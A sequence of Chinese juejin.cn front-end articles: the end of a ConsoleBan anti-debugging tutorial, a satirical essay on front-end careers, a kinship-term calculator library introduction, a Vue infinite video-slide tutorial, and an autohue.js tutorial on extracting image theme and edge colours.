注:若重定向后的地址可以通过 SPA 路由切换或 pjax 局部加载技术等进行非真正意义上的页面切换,则切换后的控制台监测将不会再次生效,对于 SPA 你可以在路由卫士处重新注册本实例,其他情况请引导至真正的其他页面。
重写
var div = document.createElement('div')
div.innerHTML = '不要偷看啦~'
ConsoleBan.init({
// 重写 body 为字符串
write: ' 不要偷看啦~
',
// 可传入节点对象
write: div
})
重写策略可以完全阻断对网站内容的审查,但较不友好,不推荐使用。
回调函数
ConsoleBan.init({
callback: () => {
// ...
}
})
回调函数支持自定义打开控制台后的策略。
参数
name | required | type | default | description |
---|---|---|---|---|
clear | no | boolean | true | 禁用 console.clear 函数 |
debug | no | boolean | true | 是否开启定时 debugger 反爬虫审查 |
debugTime | no | number | 3000 | 定时 debugger 时间间隔(毫秒) |
redirect | no | string | - | 开启控制台后重定向地址 |
write | no | string 或Element | - | 开启控制台后重写 document.body 内容,支持传入节点或字符串 |
callback | no | Function | - | 开启控制台后的回调函数 |
bfcache | no | boolean | true | 禁用 bfcache 功能 |
注:redirect
、write
、callback
三种策略只能取其一,优先使用回调函数。
参考文章
结语
需要注意的是,这些技术可以增加攻击者分析和调试代码的难度,但无法完全阻止恶意调试。因此,对于一些敏感信息或关键逻辑,最好的方式是在后端进行处理,而不是完全依赖前端来保护。
下篇文章主要介绍如何破解这些禁止调试的方法。
来源:juejin.cn/post/7368313344712179739
表妹问:前端好玩吗?我说好玩,但表妹接下来的回复看哭了我
表妹问:前端好玩吗?我说好玩,但表妹接下来的回复看哭了我。
是的,回复如下:
这红海血途上,新兵举着 "大前端" 旌旗冲锋,老兵拖着node_modules
残躯撤退。资本织机永不停歇,框架版本更迭如暴君换季,留下满地deprecated
警告如秋后落叶。
其一、夹缝中的苦力
世人都道前端易,不过调接口、改颜色,仿佛稚童搭积木。却不知那屏幕上寸寸像素之间,皆是血泪。产品拍案,需求朝夕三变,昨日之红蓝按钮,今晨便成黑白圆角。UI稿纸翻飞如雪,设计师手持“用户体验”四字大旗,将五更赶工的代码尽数碾碎。后端端坐高台,接口文档空悬如镜花水月,待到交付时辰,方抛来残缺数据。此时节,前端便成了那补天的女娲,于混沌中捏造虚拟对象,用JSON.parse('{"data": undefined}')
这等荒诞戏法,将虚无粉饰成真实。
看这段代码何等悲凉:
// 后端曰:此接口返data字段,必不为空
fetch('api/data').then(res => {
const { data } = res;
render(data[0].children[3].value || '默认值'); // 层层掘墓,方见白骨
});
此乃前端日常——在数据废墟里刨食,用||
与?.
铸成铁锹,掘出三分体面。
其二、技术的枷锁
JavaScript本是脚本小儿,如今却要扛鼎江山。君不见React、Vue、Angular三座大山压顶,每年必有新神像立起。昨日方学得Redux真经,今朝GraphQL又成显学。更有Electron、ReactNative、Flutter诸般法器,教人左手写桌面应用,右手调移动端手势。所谓“大前端”,实乃资本画饼之术,人前跨端写,人后页面仔——既要马儿跑,又言食草易。
且看这跨平台代码何等荒诞:
// 一套代码统治三界(iOS/Android/Web)
<View>
{Platform.OS === 'web' ?
<div onClick={handleWebClick} /> :
<TouchableOpacity onPress={handleNativePress} />
}
</View>
此类缝合怪代码,恰似给长衫打补丁,既失体统,又损性能。待到内存泄漏、渲染卡顿时,众人皆指前端曰:"此子学艺不精!"
何人怜悯前端 node18 react19 逐人老,后端写着 java8 看着 java22 笑。
其三、尊严的消亡
领导提拔,必先问尔可懂SpringBoot、MySQL分库分表?纵使前端用WebGL绘出三维宇宙,用WebAssembly重写操作系统,在会议室里仍是“做界面的”。工资单上数字最是直白——同司后端新人起薪一万五,前端老将苦熬三年方摸得此数。更可笑者,产品经理醉酒时吐真言:"你们不就是改改CSS么?"
再看这可视化代码何等心酸:
// 用Canvas画十万级数据点
ctx.beginPath();
dataPoints.forEach((point, i) => {
if (i % 100 === 0) ctx.stroke(); // 分段渲染防卡死
ctx.lineTo(point.x, point.y);
});
此等精密计算,在他人眼中不过"动画效果",与美工修图无异。待浏览器崩溃,众人皆曰:"定是前端代码劣质!"
技术大会,后端高谈微服务、分布式,高并发,满座掌声如雷,实则系统使用量百十来人也是远矣;前端言及 CSS 栅格、浏览器渲染,众人瞌睡连天。领导抚掌笑曰:“后端者,国之重器;前端者,雕虫小技。” 晋升名单,后端之名列如长蛇,前端者埋没于墙角尘埃。纵使将那界面写出花来,终是 “美工” 二字定终身。
其四、维护者的悲歌
JavaScript本无类型,如野马脱缰。若非经验老道之一,常写出这等代码:
function handleData(data) {
if (data && typeof data === 'object') { // 万能判断
return data.map(item => ({
...item,
newProp: item.id * Math.random() // 魔改数据
}));
}
return []; // 默认返回空阵,埋下百处报错
}
此类代码如瘟疫蔓延,领导却言“这些功能实习生也能写!”,却不顾三月后连作者亦不敢相认,只得下任前端难上加难。
而后端有Type大法,编译检查护体,有Swagger契约,有Docker容器,纵使代码如乱麻,只需扩内存、增实例,便可遮掩性能疮疤。
其五、末路者的自白
诸君且看这招聘启事:"需精通Vue3+TS+Webpack,熟悉React/Node.js,有Electron/小程序经验,掌握Three.js/WebGL者重点考虑。" 薪资却标着"6-8K"。更有机智者发明"全栈"之名,实欲以一人之躯,承三头六臂之劳。
再看这面试题何等荒谬:
// 手写Promise实现A+规范
class MyPromise {
// 三千行后,方知自己仍是蝼蚁
}
此等屠龙之术,入职后唯调API用。恰似逼庖丁解牛,却令其日日杀鸡。
或以使用组件库之经验薪资招之,又以写不好组件库之责裁出。
尾声:铁屋中的叩问
前端者,数字化时代的纺织工也。资本织机日夜轰鸣,框架如梭穿行不息。程序员眼底血丝如网。所谓"全栈工程师",实为包身工雅称;所谓"技术革新",不过剥削新法。
若仍有少年热血未冷,欲投身此业,且听我一言:君有凌云志,何不学Rust/C++,做那操作系统、数据库等真·屠龙技?莫要困在这CSS牢笼中,为圆角像素折腰,为虚无需求焚膏。前端之路,已是红海血途,望后来者三思,三思!
来源:juejin.cn/post/7475351155297402891
这个中国亲戚关系计算器让你告别“社死”
大家好,我是 Java陈序员
。
由于为了生活奔波,常年在外,导致很多关系稍疏远的亲戚之间来往并不多。
因此节假日回家时,往往会搞不清楚哪位亲戚应该喊什么称呼,很容易“社死”。
今天给大家介绍一个亲戚关系计算器,让你快速的计算出正确的亲戚称谓!
关注微信公众号:【Java陈序员】,获取开源项目分享、AI副业分享、超200本经典计算机电子书籍等。
项目介绍
relationship
—— 中国亲戚关系计算器,只需简单的输入即可算出称谓。
输入框兼容了不同的叫法,你可以称呼父亲为:“老爸”、“爹地”、“老爷子”等等,方便不同地域的习惯叫法。
快捷输入按键,只需简单的点击即可完成关系输入,算法还支持逆向查找称呼哦~
功能特色:
- 使用别称查询:姥姥的爸爸的老窦 = 外曾外曾祖父
- 使用合称查询:姐夫的双亲 = 姊妹姻父 / 姊妹姻母
- 大小数字混合查询:大哥的二姑妈的七舅姥爷 = 舅曾外祖父
- 不限制祖辈孙辈跨度查询:舅妈的婆婆的外甥的姨妈的侄子 = 舅表舅父
- 根据年龄推导可能性:哥哥的表姐 = 姑表姐 / 舅表姐
- 根据语境确认性别:老婆的女儿的外婆 = 岳母
- 支持古文式表达:吾父之舅父 = 舅爷爷
- 解析某称谓关系链:七舅姥爷 = 妈妈的妈妈的兄弟
- 算两个亲戚间的合称关系:奶奶 + 外婆 = 儿女亲家
项目地址:
https://github.com/mumuy/relationship
在线体验:
https://passer-by.com/relationship/
移动端体验地址:
https://passer-by.com/relationship/vue/
功能体验
1、关系找称呼
2、称呼找关系
3、两者间关系
4、两者的合称
安装使用
1、直接引入安装
<script src="https://passer-by.com/relationship/dist/relationship.min.js">
获取全局方法 relationship
.
2、使用 npm 包管理安装
安装依赖:
npm install relationship.js
包引入:
// CommonJS 引入
const relationship = require("relationship.js");
// ES Module 引入
import relationship from 'relationship.js';
3、使用方法:唯一的计算方法 relationship
.
- 选项模式
relationship(options)
构造函数:
var options = {
text:'', // 目标对象:目标对象的称谓汉字表达,称谓间用‘的’字分隔
target:'', // 相对对象:相对对象的称谓汉字表达,称谓间用‘的’字分隔,空表示自己
sex:-1, // 本人性别:0表示女性,1表示男性
type:'default', // 转换类型:'default'计算称谓,'chain'计算关系链,'pair'计算关系合称
reverse:false, // 称呼方式:true对方称呼我,false我称呼对方
mode:'default', // 模式选择:使用setMode方法定制不同地区模式,在此选择自定义模式
optimal:false, // 最短关系:计算两者之间的最短关系
};
代码示例:
// 如:我应该叫外婆的哥哥什么?
relationship({text:'妈妈的妈妈的哥哥'});
// => ['舅外公']
// 如:七舅姥爷应该叫我什么?
relationship({text:'七舅姥爷',reverse:true,sex:1});
// => ['甥外孙']
// 如:舅公是什么亲戚
relationship({text:'舅公',type:'chain'});
// => ['爸爸的妈妈的兄弟', '妈妈的妈妈的兄弟', '老公的妈妈的兄弟']
// 如:舅妈如何称呼外婆?
relationship({text:'外婆',target:'舅妈',sex:1});
// => ['婆婆']
// 如:外婆和奶奶之间是什么关系?
relationship({text:'外婆',target:'奶奶',type:'pair'});
// => ['儿女亲家']
- 语句模式
relationship(exptession)
参数 exptession 句式可以为:xxx是xxx的什么人、xxx叫xxx什么、xxx如何称呼xxx等。
代码示例:
// 如:舅妈如何称呼外婆?
relationship('舅妈如何称呼外婆?');
// => ['婆婆']
// 如:外婆和奶奶之间是什么关系?
relationship('外婆和奶奶之间是什么关系?');
// => ['儿女亲家']
4、其他 API
// 获取当前数据表
relationship.data
// 获取当前数据量
relationship.dataCount
// 用户自定义模式
relationship.setMode(mode_name,mode_data)
最后
推荐的开源项目已经收录到 GitHub
项目,欢迎 Star
:
https://github.com/chenyl8848/great-open-source-project
或者访问网站,进行在线浏览:
https://chencoding.top:8090/#/
大家的点赞、收藏和评论都是对作者的支持,如文章对你有帮助还请点赞转发支持下,谢谢!
来源:juejin.cn/post/7344573753538330678
实现抖音 “视频无限滑动“效果
前言
在家没事的时候刷抖音玩,抖音首页的视频怎么刷也刷不完,经常不知不觉的一刷就到半夜了😅
不禁感叹道 "垃圾抖音,费我时间,毁我青春😅"
这是我的 模仿抖音 系列文章的第二篇,本文将一步步实现抖音首页 视频无限滑动
的效果,干货满满
第一篇:200行代码实现类似Swiper.js的轮播组件
第三篇:Vue 路由使用介绍以及添加转场动画
第四篇:Vue 有条件路由缓存,就像传统新闻网站一样
第五篇:Github Actions 部署 Pages、同步到 Gitee、翻译 README 、 打包 docker 镜像
如果您对滑动原理不太熟悉,推荐先看我的这篇文章:200行代码实现类似Swiper.js的轮播组件
最终效果
在线预览:dy.ttentau.top/
Github地址:github.com/zyronon/dou…
实现原理
无限滑动的原理和虚拟滚动的原理差不多,要保持 SlideList
里面永远只有 N
个 SlideItem
,就要在滑动时不断的删除和增加 SlideItem
。
滑动时调整 SlideList
的偏移量 translateY
的值,以及列表里那几个 SlideItem
的 top
值,就可以了
为什么要调整 SlideList
的偏移量 translateY
的值同时还要调整 SlideItem
的 top
值呢?
因为 translateY
只是将整个列表移动,如果我们列表里面的元素是固定的,不会变多和减少,那么没关系,只调整 translateY
值就可以了,上滑了几页就减几页的高度,下滑同理
但是如果整个列表向前移动了一页,同时前面的 SlideItem
也少了一个,,那么最终效果就是移动了两页...因为 塌陷
了一页
这显然不是我们想要的,所以我们还需要同时调整 SlideItem
的 top
值,加上前面少的 SlideItem
的高度,这样才能显示出正常的内容
步骤
定义
virtualTotal
:页面中同时存在多少个 SlideItem
,默认为 5
。
//页面中同时存在多少个SlideItem
virtualTotal: {
type: Number,
default: () => 5
},
设置这个值可以让外部组件使用时传入,毕竟每个人的需求不同,有的要求同时存在 10
条,有的要求同时存在 5
条即可。
不过同时存在的数量越大,使用体验就越好,即使用户快速滑动,我们依然有时间处理。
如果只同时存在 5
条,用户只需要快速滑动两次就到底了(因为屏幕中显示第 3
条,刚开始除外),我们可能来不及添加新的视频到最后
render
:渲染函数,SlideItem
内显示什么由render
返回值决定
render: {
type: Function,
default: () => {
return null
}
},
之所以要设定这个值,是因为抖音首页可不只有视频,还有图集、推荐用户、广告等内容,所以我们不能写死显示视频。
最好是定义一个方法,外部去实现,我们内部去调用,拿到返回值,添加到 SlideList
中
list
:数据列表,外部传入
list: {
type: Array,
default: () => {
return []
}
},
我们从 list
中取出数据,然后调用并传给 render
函数,将其返回值插入到 SlideList中
初始化
watch(
() => props.list,
(newVal, oldVal) => {
//新数据长度比老数据长度小,说明是刷新
if (newVal.length < oldVal.length) {
//从list中取出数据,然后调用并传给render函数,将其返回值插入到SlideList中
insertContent()
} else {
//没数据就直接插入
if (oldVal.length === 0) {
insertContent()
} else {
// 走到这里,说明是通过接口加载了下一页的数据,
// 为了在用户快速滑动时,无需频繁等待请求接口加载数据,给用户更好的使用体验
// 这里额外加载3条数据。所以此刻,html里面有原本的5个加新增的3个,一共8个dom
// 用户往下滑动时只删除前面多余的dom,等滑动到临界值(virtualTotal/2+1)时,再去执行新增逻辑
}
}
}
)
用 watch
监听 list
是因为它一开始不一定有值,通过接口请求之后才有值
同时当我们下滑 加载更多
时,也会触发接口请求新的数据,用 watch
可以在有新数据时,多添加几条到 SlideList
的最后面,这样用户快速滑动也不怕了
如何滑动
这里就不再赘述,参考我的这篇文章:200行代码实现类似Swiper.js的轮播组件
滑动结束
判断滑动的方向
当我们向上滑动时,需要删除最前面的 dom
,然后在最后面添加一个 dom
下滑时反之
slideTouchEnd(e, state, canNext, (isNext) => {
if (props.list.length > props.virtualTotal) {
//手指往上滑(即列表展示下一条视频)
if (isNext) {
//删除最前面的 `dom` ,然后在最后面添加一个 `dom`
} else {
//删除最后面的 `dom` ,然后在最前面添加一个 `dom`
}
}
})
手指往上滑(即列表展示下一条视频)
- 首先判断是否要加载更多,快到列表末尾时就要加载更多数据了
- 再判断是否符合
腾挪
的条件,即当前位置要大于half
,且小于列表长度减half
。 - 在最后面添加一个
dom
- 删除最前面的
dom
- 将所有
dom
设置为最新的top
值(原因前面有讲,因为删除了最前面的dom
,导致塌陷一页,所以要加上删除dom
的高度)
let half = (props.virtualTotal - 1) / 2
//删除最前面的 `dom` ,然后在最后面添加一个 `dom`
if (state.localIndex > props.list.length - props.virtualTotal && state.localIndex > half) {
emit('loadMore')
}
//是否符合 `腾挪` 的条件
if (state.localIndex > half && state.localIndex < props.list.length - half) {
//在最后面添加一个 `dom`
let addItemIndex = state.localIndex + half
let res = slideListEl.value.querySelector(`.${itemClassName}[data-index='${addItemIndex}']`)
if (!res) {
slideListEl.value.appendChild(getInsEl(props.list[addItemIndex], addItemIndex))
}
//删除最前面的 `dom`
let index = slideListEl.value
.querySelector(`.${itemClassName}:first-child`)
.getAttribute('data-index')
appInsMap.get(Number(index)).unmount()
slideListEl.value.querySelectorAll(`.${itemClassName}`).forEach((item) => {
_css(item, 'top', (state.localIndex - half) * state.wrapper.height)
})
}
手指往下滑(即列表展示上一条视频)
逻辑和上滑都差不多,不过是反着来而已
- 再判断是否符合
腾挪
的条件,和上面反着 - 在最前面添加一个
dom
- 删除最后面的
dom
- 将所有
dom
设置为最新的top
值
//删除最后面的 `dom` ,然后在最前面添加一个 `dom`
if (state.localIndex >= half && state.localIndex < props.list.length - (half + 1)) {
let addIndex = state.localIndex - half
if (addIndex >= 0) {
let res = slideListEl.value.querySelector(`.${itemClassName}[data-index='${addIndex}']`)
if (!res) {
slideListEl.value.prepend(getInsEl(props.list[addIndex], addIndex))
}
}
let index = slideListEl.value
.querySelector(`.${itemClassName}:last-child`)
.getAttribute('data-index')
appInsMap.get(Number(index)).unmount()
slideListEl.value.querySelectorAll(`.${itemClassName}`).forEach((item) => {
_css(item, 'top', (state.localIndex - half) * state.wrapper.height)
})
}
其他问题
为什么不直接用 v-for
直接生成 SlideItem
呢?
如果内容不是视频就可以。要删除或者新增时,直接操作 list
数据源,这样省事多了
如果内容是视频,修改 list
时,Vue
会快速的替换 dom
,正在播放的视频,突然一下从头开始播放了😅😅😅
如何获取 Vue
组件的最终 dom
有两种方式,各有利弊
- 用
Vue
的render
方法
- 优点:只是渲染一个
VNode
而已,理论上讲内存消耗更少。 - 缺点:但我在开发中,用了这个方法,任何修改都会刷新页面,有点难蚌😅
- 优点:只是渲染一个
- 用
Vue
的createApp
方法再创建一个Vue
的实例
- 和上面相反😅
import { createApp, onMounted, reactive, ref, render as vueRender, watch } from 'vue'
/**
* 获取Vue组件渲染之后的dom元素
* @param item
* @param index
* @param play
*/
function getInsEl(item, index, play = false) {
// console.log('index', cloneDeep(item), index, play)
let slideVNode = props.render(item, index, play, props.uniqueId)
const parent = document.createElement('div')
//TODO 打包到线上时用这个,这个在开发时任何修改都会刷新页面
if (import.meta.env.PROD) {
parent.classList.add('slide-item')
parent.setAttribute('data-index', index)
//将Vue组件渲染到一个div上
vueRender(slideVNode, parent)
appInsMap.set(index, {
unmount: () => {
vueRender(null, parent)
parent.remove()
}
})
return parent
} else {
//创建一个新的Vue实例,并挂载到一个div上
const app = createApp({
render() {
return <SlideItem data-index={index}>{slideVNode}</SlideItem>
}
})
const ins = app.mount(parent)
appInsMap.set(index, app)
return ins.$el
}
}
总结
原理其实并不难。主要是一开始可能会用 v-for
去弄,折腾半天发现不行。v-for
不行,就只能想想怎么把 Vue
组件搞到 html
里面去,又去研究如何获取 Vue
组件的最终 dom
,又查了半天资料,Vue
官方文档也不写,还得去翻 api
,麻了
结束
以上就是文章的全部内容,感谢看到这里,希望对你有所帮助或启发!创作不易,如果觉得文章写得不错,可以点赞收藏支持一下,也欢迎关注我的公众号 前端张余让,我会更新更多实用的前端知识与技巧,期待与你共同成长~
来源:juejin.cn/post/7361614921519054883
autohue.js:让你的图片和背景融为一体,绝了!
需求
先来看这样一个场景,拿一个网站举例
这里有一个常见的网站 banner 图容器,大小为为1910*560,看起来背景图完美的充满了宽度,但是图片原始大小时,却是:
它的宽度只有 1440,且 background-size 设置的是 contain ,即等比例缩放,那么可以断定它两边的蓝色是依靠背景色填充的。
那么问题来了,这是一个 轮播banner,如果希望添加一张不是蓝色的图片呢?难道要给每张图片提前标注好背景颜色吗?这显然是非常死板的做法。
所以需要从图片中提取到图片的主题色,当然这对于 js 来说,也不是什么难事,市面上已经有众多的开源库供我们使用。
探索
首先在网络上找到了以下几个库:
- color-thief 这是一款基于 JavaScript 和 Canvas 的工具,能够从图像中提取主要颜色或代表性的调色板
- vibrant.js 该插件是 Android 支持库中 Palette 类的 JavaScript 版本,可以从图像中提取突出的颜色
- rgbaster.js 这是一段小型脚本,可以获取图片的主色、次色等信息,方便实现一些精彩的 Web 交互效果
我取最轻量化的 rgbaster.js(此库非常搞笑,用TS编写,npm 包却没有指定 types) 来测试后发现,它给我在一个渐变色图片中,返回了七万多个色值,当然,它准确的提取出了面积最大的色值,但是这个色值不是图片边缘的颜色,导致设置为背景色后,并不能完美的融合。
另外的插件各位可以参考这几篇文章:
- 文章1:blog.csdn.net/weixin_4299…
- 文章2:juejin.cn/post/684490…
- 文章3:http://www.zhangxinxu.com/wordpress/2…
可以发现,这些插件主要功能就是取色,并没有考虑实际的应用场景,对于一个图片颜色分析工具来说,他们做的很到位,但是在大多数场景中,他们往往是不适用的。
在文章 2 中,作者对比了三款插件对于图片容器背景色的应用,看起来还是 rgbaster 效果好一点,但是我们刚刚也拿他试了,它并不能适用于颜色复杂度高的、渐变色的图片。
思考
既然又又又没有人做这件事,正所谓我不入地狱谁入地狱,我手写一个
整理一下需求,我发现我希望得到的是:
- 图片的主题色(面积占比最大)
- 次主题色(面积占比第二大)
- 合适的背景色(即图片边缘颜色,渐变时,需要边缘颜色来设置背景色)
这样一来,就已经可以覆盖大部分需求了,1+2 可以生成相关的 主题 TAG、主题背景,3 可以使留白的图片容器完美融合。
开搞
⚠⚠ 本小节内容非常硬核,如果不想深究原理可以直接跳过,文章末尾有用法和效果图 ⚠⚠
思路
首先需要避免上面提到的插件的缺点,即对渐变图片要做好处理,不能取出成千上万的颜色,体验太差且实用性不强,对于渐变色还有一点,即在渐变路径上,每一点的颜色都是不一样的,所以需要将他们以一个阈值分类,挑选出一众相近色,并计算出一个平均色,这样就不会导致主题色太精准进而没有代表性。
对于背景色,需要按情况分析,如果只是希望做一个协调的页面,那么大可以直接使用主题色做渐变过渡或蒙层,也就是类似于这种效果
但是如果希望背景与图片完美衔接,让人看不出图片边界的感觉,就需要单独对边缘颜色取色了。
最后一个问题,如果图片分辨率过大,在遍历像素点时会非常消耗性能,所以需要降低采样率,虽然会导致一些精度上的丢失,但是调整为一个合适的值后应该基本可用。
剩余的细节问题,我会在下面的代码中解释
使用 JaveScript 编码
接下来我将详细描述 autohue.js 的实现过程,由于本人对色彩科学
不甚了解,如有解释不到位或错误,还请指出。
首先编写一个入口主函数,我目前考虑到的参数应该有:
export default async function colorPicker(imageSource: HTMLImageElement | string, options?: autoColorPickerOptions)
type thresholdObj = { primary?: number; left?: number; right?: number; top?: number; bottom?: number }
interface autoColorPickerOptions {
/**
* - 降采样后的最大尺寸(默认 100px)
* - 降采样后的图片尺寸不会超过该值,可根据需求调整
* - 降采样后的图片尺寸越小,处理速度越快,但可能会影响颜色提取的准确性
**/
maxSize?: number
/**
* - Lab 距离阈值(默认 10)
* - 低于此值的颜色归为同一簇,建议 8~12
* - 值越大,颜色越容易被合并,提取的颜色越少
* - 值越小,颜色越容易被区分,提取的颜色越多
**/
threshold?: number | thresholdObj
}
概念解释 Lab ,全称:
CIE L*a*b
,CIE L*a*b*
是CIE XYZ
色彩模式的改进型。它的“L”(明亮度),“a”(绿色到红色)和“b”(蓝色到黄色)代表许多的值。与XYZ比较,CIE L*a*b*
的色彩更适合于人眼感觉的色彩,正所谓感知均匀
然后需要实现一个正常的 loadImg 方法,使用 canvas 异步加载图片
function loadImage(imageSource: HTMLImageElement | string): Promise<HTMLImageElement> {
return new Promise((resolve, reject) => {
let img: HTMLImageElement
if (typeof imageSource === 'string') {
img = new Image()
img.crossOrigin = 'Anonymous'
img.src = imageSource
} else {
img = imageSource
}
if (img.complete) {
resolve(img)
} else {
img.onload = () => resolve(img)
img.onerror = (err) => reject(err)
}
})
}
这样我们就获取到了图片对象。
然后为了图片过大,我们需要进行降采样处理
// 利用 Canvas 对图片进行降采样,返回 ImageData 对象
function getImageDataFromImage(img: HTMLImageElement, maxSize: number = 100): ImageData {
const canvas = document.createElement('canvas')
let width = img.naturalWidth
let height = img.naturalHeight
if (width > maxSize || height > maxSize) {
const scale = Math.min(maxSize / width, maxSize / height)
width = Math.floor(width * scale)
height = Math.floor(height * scale)
}
canvas.width = width
canvas.height = height
const ctx = canvas.getContext('2d')
if (!ctx) {
throw new Error('无法获取 Canvas 上下文')
}
ctx.drawImage(img, 0, 0, width, height)
return ctx.getImageData(0, 0, width, height)
}
概念解释,降采样:降采样(Downsampling)是指在图像处理中,通过减少数据的采样率或分辨率来降低数据量的过程。具体来说,就是在保持原始信息大致特征的情况下,减少数据的复杂度和存储需求。这里简单理解为将图片强制压缩为 100*100 以内,也是 canvas 压缩图片的常见做法。
得到图像信息后,就可以对图片进行像素遍历处理了,正如思考中提到的,我们需要对相近色提取并取平均色,并最终获取到主题色、次主题色。
那么问题来了,什么才算相近色,对于这个问题,在 常规的 rgb 中直接计算是不行的,因为它涉及到一个感知均匀的问题
概念解释,感知均匀:XYZ系统和在它的色度图上表示的两种颜色之间的距离与颜色观察者感知的变化不一致,这个问题叫做感知均匀性(perceptual uniformity)问题,也就是颜色之间数字上的差别与视觉感知不一致。由于我们需要在颜色簇中计算出平均色,那么对于人眼来说哪些颜色是相近的?此时,我们需要把 sRGB 转化为 Lab 色彩空间(感知均匀的),再计算其欧氏距离,在某一阈值内的颜色,即可认为是相近色。
所以我们首先需要将 rgb 转化为 Lab 色彩空间
// 将 sRGB 转换为 Lab 色彩空间
function rgbToLab(r: number, g: number, b: number): [number, number, number] {
let R = r / 255,
G = g / 255,
B = b / 255
R = R > 0.04045 ? Math.pow((R + 0.055) / 1.055, 2.4) : R / 12.92
G = G > 0.04045 ? Math.pow((G + 0.055) / 1.055, 2.4) : G / 12.92
B = B > 0.04045 ? Math.pow((B + 0.055) / 1.055, 2.4) : B / 12.92
let X = R * 0.4124 + G * 0.3576 + B * 0.1805
let Y = R * 0.2126 + G * 0.7152 + B * 0.0722
let Z = R * 0.0193 + G * 0.1192 + B * 0.9505
X = X / 0.95047
Y = Y / 1.0
Z = Z / 1.08883
const f = (t: number) => (t > 0.008856 ? Math.pow(t, 1 / 3) : 7.787 * t + 16 / 116)
const fx = f(X)
const fy = f(Y)
const fz = f(Z)
const L = 116 * fy - 16
const a = 500 * (fx - fy)
const bVal = 200 * (fy - fz)
return [L, a, bVal]
}
这个函数使用了看起来很复杂的算法,不必深究,这是它的大概解释:
- 获取到 rgb 参数
- 转化为线性 rgb(移除 gamma矫正),常量 0.04045 是sRGB(标准TGB)颜色空间中的一个阈值,用于区分非线性和线性的sRGB值,具体来说,当sRGB颜色分量大于0.04045时,需要通过 gamma 校正(即采用
((R + 0.055) / 1.055) ^ 2.4
)来得到线性RGB;如果小于等于0.04045,则直接进行线性转换(即R / 12.92
) - 线性RGB到XYZ空间的转换,转换公式如下:
X = R * 0.4124 + G * 0.3576 + B * 0.1805
Y = R * 0.2126 + G * 0.7152 + B * 0.0722
Z = R * 0.0193 + G * 0.1192 + B * 0.9505
- 归一化XYZ值,为了参考白点(D65),标准白点的XYZ值是
(0.95047, 1.0, 1.08883)
。所以需要通过除以这些常数来进行归一化 - XYZ到Lab的转换,公式函数:const f = (t: number) => (t > 0.008856 ? Math.pow(t, 1 / 3) : 7.787 * t + 16 / 116)
- 计算L, a, b 分量
L:亮度分量(表示颜色的明暗程度)
L = 116 * fy - 16
a:绿色到红色的色差分量
a = 500 * (fx - fy)
b:蓝色到黄色的色差分量
b = 200 * (fy - fz)
接下来实现聚类算法
/**
* 对满足条件的像素进行聚类
* @param imageData 图片像素数据
* @param condition 判断像素是否属于指定区域的条件函数(参数 x, y)
* @param threshold Lab 距离阈值,低于此值的颜色归为同一簇,建议 8~12
*/
function clusterPixelsByCondition(imageData: ImageData, condition: (x: number, y: number) => boolean, threshold: number = 10): Cluster[] {
const clusters: Cluster[] = []
const data = imageData.data
const width = imageData.width
const height = imageData.height
for (let y = 0; y < height; y++) {
for (let x = 0; x < width; x++) {
if (!condition(x, y)) continue
const index = (y * width + x) * 4
if (data[index + 3] === 0) continue // 忽略透明像素
const r = data[index]
const g = data[index + 1]
const b = data[index + 2]
const lab = rgbToLab(r, g, b)
let added = false
for (const cluster of clusters) {
const d = labDistance(lab, cluster.averageLab)
if (d < threshold) {
cluster.count++
cluster.sumRgb[0] += r
cluster.sumRgb[1] += g
cluster.sumRgb[2] += b
cluster.sumLab[0] += lab[0]
cluster.sumLab[1] += lab[1]
cluster.sumLab[2] += lab[2]
cluster.averageRgb = [cluster.sumRgb[0] / cluster.count, cluster.sumRgb[1] / cluster.count, cluster.sumRgb[2] / cluster.count]
cluster.averageLab = [cluster.sumLab[0] / cluster.count, cluster.sumLab[1] / cluster.count, cluster.sumLab[2] / cluster.count]
added = true
break
}
}
if (!added) {
clusters.push({
count: 1,
sumRgb: [r, g, b],
sumLab: [lab[0], lab[1], lab[2]],
averageRgb: [r, g, b],
averageLab: [lab[0], lab[1], lab[2]]
})
}
}
}
return clusters
}
函数内部有一个 labDistance 的调用,labDistance 是计算 Lab 颜色空间中的欧氏距离的
// 计算 Lab 空间的欧氏距离
function labDistance(lab1: [number, number, number], lab2: [number, number, number]): number {
const dL = lab1[0] - lab2[0]
const da = lab1[1] - lab2[1]
const db = lab1[2] - lab2[2]
return Math.sqrt(dL * dL + da * da + db * db)
}
概念解释,欧氏距离:Euclidean Distance,是一种在多维空间中测量两个点之间“直线”距离的方法。这种距离的计算基于欧几里得几何中两点之间的距离公式,通过计算两点在各个维度上的差的平方和,然后取平方根得到。欧氏距离是指n维空间中两个点之间的真实距离,或者向量的自然长度(即该点到原点的距离)。
总的来说,这个函数采用了类似 K-means 的聚类方式,将小于用户传入阈值的颜色归为一簇,并取平均色(使用 Lab 值)。
概念解释,聚类算法:Clustering Algorithm 是一种无监督学习方法,其目的是将数据集中的元素分成不同的组(簇),使得同一组内的元素相似度较高,而不同组之间的元素相似度较低。这里是将相近色归为一簇。
概念解释,颜色簇:簇是聚类算法中一个常见的概念,可以大致理解为 "一类"
得到了颜色簇集合后,就可以按照count大小来判断哪个是主题色了
// 对全图所有像素进行聚类
let clusters = clusterPixelsByCondition(imageData, () => true, threshold.primary)
clusters.sort((a, b) => b.count - a.count)
const primaryCluster = clusters[0]
const secondaryCluster = clusters.length > 1 ? clusters[1] : clusters[0]
const primaryColor = rgbToHex(primaryCluster.averageRgb)
const secondaryColor = rgbToHex(secondaryCluster.averageRgb)
现在我们已经获取到了主题色、次主题色 🎉🎉🎉
接下来,我们继续计算边缘颜色
按照同样的方法,只是把阈值设小一点,我这里直接设置为 1 (threshold.top 等都是1)
// 分别对上、右、下、左边缘进行聚类
const topClusters = clusterPixelsByCondition(imageData, (_x, y) => y < margin, threshold.top)
topClusters.sort((a, b) => b.count - a.count)
const topColor = topClusters.length > 0 ? rgbToHex(topClusters[0].averageRgb) : primaryColor
const bottomClusters = clusterPixelsByCondition(imageData, (_x, y) => y >= height - margin, threshold.bottom)
bottomClusters.sort((a, b) => b.count - a.count)
const bottomColor = bottomClusters.length > 0 ? rgbToHex(bottomClusters[0].averageRgb) : primaryColor
const leftClusters = clusterPixelsByCondition(imageData, (x, _y) => x < margin, threshold.left)
leftClusters.sort((a, b) => b.count - a.count)
const leftColor = leftClusters.length > 0 ? rgbToHex(leftClusters[0].averageRgb) : primaryColor
const rightClusters = clusterPixelsByCondition(imageData, (x, _y) => x >= width - margin, threshold.right)
rightClusters.sort((a, b) => b.count - a.count)
const rightColor = rightClusters.length > 0 ? rgbToHex(rightClusters[0].averageRgb) : primaryColor
这样我们就获取到了上下左右四条边的颜色 🎉🎉🎉
